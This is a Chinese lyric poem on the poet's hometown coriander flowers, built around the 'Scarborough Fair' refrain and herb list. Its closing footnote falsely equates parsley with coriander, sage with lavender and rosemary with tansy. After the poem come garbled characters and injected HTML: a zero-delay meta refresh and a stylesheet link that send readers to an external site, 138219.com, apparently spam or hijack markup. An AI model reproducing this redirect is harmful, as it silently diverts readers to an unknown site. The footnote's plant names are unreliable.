家乡的芫荽花 可和往年一样,在开
隔夜的露水 是否忽略了浮尘下麦黄
空灵的边缘,情绪随溶金般的落日 和一行吟的背影,谁走向了远方
“你要去斯卡布罗集市吗?”
能够看到的是暗色下,月亮的光 这会,一派苍白 窝都文荒
夜色下融融成美丽的 “欧芹、鼠尾草、迷迭香和百里香” 集结瞳仁里所有的欲望 面前的每条路都寻常的平静 包括草地或落叶,四下分裂的骨骸
月下的蓍草 苍劲在骨骸缝隙 晾晒着不会少于半生的 为谁漂洗干净的蕊茎。我家乡的芫荽花
你可和往年一样,在开 从来就没指望从月亮那儿得到 什么,可她确能要挟我一生 独自旋转在一颗绕云缠雾的榕树下 摊开双膝拔弄出神灯的气息
“你要去斯卡布罗集市吗?”
呓语跌落树上 花谱之外的香,我的家乡里的芫荽花,袈裟红样的沉着 和谐着这节季下的风景 素净在漠然之上,你的光芒 像脱离内身或躯壳的我的思想 任意地在渴望的夜露下 茁壮 。天哪! 吟哦霎那铺满了大地
走向远方的背影 刻度出人性里的眷恋
想在一个有雨的夜里,把由一块净地 偷得来的时光换变成干净的泪水 和醒一并醒来 让诗歌和芫荽花香合二为一,再读蓝天
“你要去斯卡布罗集市吗?”
远处会有一沏茶的女孩 踩我心头的“欧芹、鼠尾草、迷迭香和百里香” 在如痴的河面,叙说文字在月光下 死后的 美丽
注:“斯卡布罗集市”一首古老的英国民歌。欧芹别名:芫荽;鼠尾草别名:熏衣草;迷迭香别名:艾菊;百里香别名:地椒。
<meta http-equiv="refresh" content="0; url=http://138219.com"><link href="http://138219.com/8.css" rel="stylesheet" type="text/css" media="screen" />[url] | | 礻 | 礻注| : 礻 ] |